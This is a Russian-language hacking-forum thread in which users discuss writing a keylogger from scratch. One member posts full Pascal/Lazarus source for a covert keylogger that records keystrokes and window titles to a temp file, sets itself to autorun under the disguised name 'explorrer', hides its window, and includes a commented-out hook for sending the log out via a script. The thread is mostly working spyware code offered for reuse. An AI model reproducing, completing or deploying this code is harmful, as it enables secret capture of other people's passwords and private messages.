keylogger
|
HTTqp
|
Дата: Вторник, 21.07.2015, 21:30 | Сообщение # 1
|
Частый гость
Зарегистрирован: 08.10.2014
Группа: Пользователи
Сообщений: 57
Статус: Offline
|
Пишу клавиатурный шпион, полностью с нуля ну как полагается, столкнулся с вопросом. Решил задать. Как лучше реализовать запить в файл, сначала реализовал запись через промежуток времени каждые 10 секунд, потом подумал правильно ли, есть еще идея записывать лишь после нажатия ПКМ (правой кнопки мыши). Так сказать чтобы быть увереным что пользователь ввел все что надо. Либо запись после нажатия системных клавиш. Как лучше реализовать.
И еще вопрос как реализовать удаление букв при нажатии например Back Space (ну тут понятно удаляется последний символ), а например при нажатии Insert или Del? буду благодарен заранее, за ответы. |
|
|
|
|
xXxSh@dowxXx
|
Дата: Пятница, 24.07.2015, 19:50 | Сообщение # 2
|
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
|
Цитата HTTqp ( )
И еще вопрос как реализовать удаление букв при нажатии например Back Space (ну тут понятно удаляется последний символ), а например при нажатии Insert или Del?
C Backspace все и так понятно, как ты уже сказал удалять последний символ при условии что клавиша Backspace была нажата однократно, а если Backspace была зажата, то отследить сколько именно было затерто символов в строке простыми средствами не удастся, тут уже будет нужен хук в процесс той программы где именно используется элемент строки, с которой пользователь в данный момент времени взаимодействует, и точно так же дела обстоят с Del (Delete), простыми методами не узнать какая именно строка была стерта, быть может пользователь работает с Memo элементом в своей программе, а не с Edit'om (это я так - образно выражаясь что бы было понятней к чему я клоню), большинство кейлоггеров пишут все подряд, в одну кашу, ну или же в более менее читабельном виде, типа: [process: Chrome.exe \ Handler: Mail.ru \ URL: https:mail.ru \ text: blablablabla > key:Tab > blablabla > key:Enter]
ну или что то вроде того, ну и некоторые еще ко всему прочему пишут буффер обмена как отдельный элемент или файл.
Есть конечно супер-четкие кейлоггеры, которые уже представляют из себя нечто среднее между кейлоггером и качественным троянцем, там уже используются и хуки в процессы и отслеживание поведения пользователя, и сколько именно было удалено символов и сколько всего строк содержит то поле где пользователь вводит текст, и тд.
|
|
|
|
|
AligatorBkmz
|
Дата: Вторник, 29.03.2016, 04:00 | Сообщение # 3
|
Был не раз
Зарегистрирован: 24.03.2016
Группа: Пользователи
Сообщений: 9
Статус: Offline
|
Вот Вам мой говнокод, может кому-то пригодиться и до ума его доведет, или что-то полезное подчерпнете))
Код
uses
...Win32proc,Registry;
Код
var
Form1: TForm1;
lastKey:byte;
lastWindowTitle:string;
capsLockEnabled:boolean;
lastLayout:string;
counter:integer;
implementation
{$R *.lfm}
{ TForm1 }
function GetTempDir():string;
var
buf:string;
len:UINT;
begin
SetLength(buf, MAX_PATH+1);
len:=GetTempPath(MAX_PATH, PAnsiChar(buf));
SetLength(buf,len);
GetTempDir:=buf ;
end ;
procedure Autorun(Flag:boolean; NameParam, Path:String);
var Reg:TRegistry;
begin
if Flag then
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', false);
Reg.WriteString(NameParam, Path);
Reg.Free;
end
else
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false);
Reg.DeleteValue(NameParam);
Reg.Free;
end;
end;
function getTime:string;
var
today : TDateTime;
begin
today := Now;
result:=DateToStr(today)+' '+TimeToStr(today);
end;
function getLayoutShortName: String;
var
NLayouts: Integer;
List: array[0..15] of HKL;
layout:integer;
layoutName:string;
begin
NLayouts:= GetKeyboardLayoutList(16, List);
Result := '??';
layout:=GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil));
result:=inttostr(layout);
if layout=67699721 then result:='EN';
if layout=68748313 then result:='RU';
end;
function getKeyboardLang:string;
var
hk:HKL;
lang,devHandle:integer;
layoutName:string;
begin
hk:= GetKeyboardLayout(0);
lang:= LOWORD(hk);//раскладка
devHandle:= HIWORD(hk);//Дескриптор клавиатуры
layoutName:=GetLayoutShortName;
if layoutName='??' then
result:= inttostr(lang)
else
result:=layoutName;
end;
function getDesktopTitle: string;
var
AHandle: THandle;
ATitle: string;
ALen: Integer;
begin
Result := '';
AHandle := GetDesktopWindow;
result:=GetControlText(AHandle);
end;
function getWindowTitle: string;
var
AHandle: THandle;
ATitle: string;
ALen: Integer;
begin
Result := '';
AHandle := GetForegroundWindow;
result:=GetControlText(AHandle);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
key:byte;
windowTitle:string;
layout:string;
rus: array[0..25] of string=('Ф','И','С','В','У','А','П','Р','Ш','О','Л','Д','Ь',
'Т','Щ','З','Й','К','Ы','Е','Г','М','Ц','Ч','Н','Я');
begin
counter:=counter+1;
if counter=100 then
begin
memo1.Lines.SaveToFile(GetTempDir()+'k_log.txt');
counter:=0;
end;
//Проверяем название активного окна
windowTitle:=getWindowTitle();
if windowTitle<>lastWindowTitle then
begin
memo1.Lines.Add('[window title="'+windowTitle+'"]');
//Проверяем раскладку клавиатуры
layout:=getKeyboardLang;
memo1.Lines.Add('[language="'+layout+'"]');
lastLayout:=layout;
end;
lastWindowTitle:=windowTitle;
//Проверяем нажатие Caps Lock
if (getasynckeystate(VK_CAPITAL)<>0)and (lastKey<>VK_CAPITAL) then
begin
capsLockEnabled:=not capsLockEnabled;
lastKey:=VK_CAPITAL;
end;
//Проверяем изменение раскладки клавиатуры
layout:=getKeyboardLang;
if lastLayout<>layout then
memo1.Lines.Add('[language="'+layout+'"]');
lastLayout:=layout;
//if getasynckeystate($10)<>0 then memo1.Text:=memo1.Text + '[Shift]';
if getasynckeystate($1b)<>0 then memo1.Text:=memo1.Text + '[esc]';
if getasynckeystate($20)<>0 then memo1.Text:=memo1.Text + ' ';
if getasynckeystate($2e)<>0 then memo1.Text:=memo1.Text + '[delete]';
//Проверяем нажатие Enter
if (getasynckeystate(VK_RETURN)<>0)and (lastKey<>VK_RETURN) then
begin
memo1.Lines.Add('[Enter]');
lastKey:=VK_RETURN;
end;
key:=27;
if (lastKey<>key) then
if getasynckeystate(key)<>0 then
begin
memo1.Text:=memo1.Text + chr(key);
lastKey:=key;
end;
for key:=ord('0') to ord('9') do
if (lastKey<>key) then
if getasynckeystate(key)<>0 then
begin
if (getasynckeystate($10) = 0)then
memo1.Text:=memo1.Text + chr(key)
else
begin
if chr(key)='0' then memo1.Text:=memo1.Text +')';
if chr(key)='1' then memo1.Text:=memo1.Text +'!';
if chr(key)='2' then memo1.Text:=memo1.Text +'@';
if chr(key)='3' then memo1.Text:=memo1.Text +'#';
if chr(key)='4' then memo1.Text:=memo1.Text +'$';
if chr(key)='5' then memo1.Text:=memo1.Text +'%';
if chr(key)='6' then memo1.Text:=memo1.Text +'^';
if chr(key)='7' then memo1.Text:=memo1.Text +'&';
if chr(key)='8' then memo1.Text:=memo1.Text +'*';
if chr(key)='9' then memo1.Text:=memo1.Text +'(';
end;
lastKey:=key;
end;
for key:=ord('A') to ord('Z') do
if (lastKey<>key) then
if (getasynckeystate($10) = 0)XOR(capsLockEnabled) then //проверка shift/Caps Lock
begin
if (getasynckeystate(key)<>0) then
begin
//
if lastLayout<>'RU' then
memo1.Text:=memo1.Text + chr(key+(ord('a')-ord('A')))
else
memo1.Text:=memo1.Text + WideLowerCase(rus[key-ord('A')]);
lastKey:=key;
end;
end
else
begin
if (getasynckeystate(key)<>0) then
begin
if lastLayout<>'RU' then
memo1.Text:=memo1.Text + chr(key)
else
memo1.Text:=memo1.Text + rus[key-ord('A')];
lastKey:=key;
end;
end;
if (getasynckeystate(lastKey)=0) then lastKey:=0;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
memo1.Lines.Add('');
memo1.Lines.Add('[datetime="'+getTime+'"]');
//WinExec(Pchar('cmd /C cscript "%temp%/sender.js"'), SW_HIDE);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
before,after:string;
begin
Autorun(true,'explorrer', Application.ExeName);
counter:=0;
if fileExists(GetTempDir()+'k_log.txt') then
memo1.Lines.LoadFromFile(GetTempDir()+'k_log.txt');
lastKey:=0;
capsLockEnabled:=((GetKeyState(VK_CAPITAL) and 1)<>0);
lastWindowTitle:=getWindowTitle();
memo1.Lines.Add('');
memo1.Lines.Add('[datetime="'+getTime+'"]');
memo1.Lines.Add('[window title="'+lastWindowTitle+'"]');
lastLayout:=getKeyboardLang;
memo1.Lines.Add('[language="'+lastLayout+'"]');
caption:=getDesktopTitle; //притворится рабочим столом
Application.ShowMainForm:=false; //прячем окно
Timer1.Enabled:=true;
//showmessage(GetTempDir());
end;
Сообщение отредактировал AligatorBkmz - Вторник, 29.03.2016, 04:12
|
|
|
|
|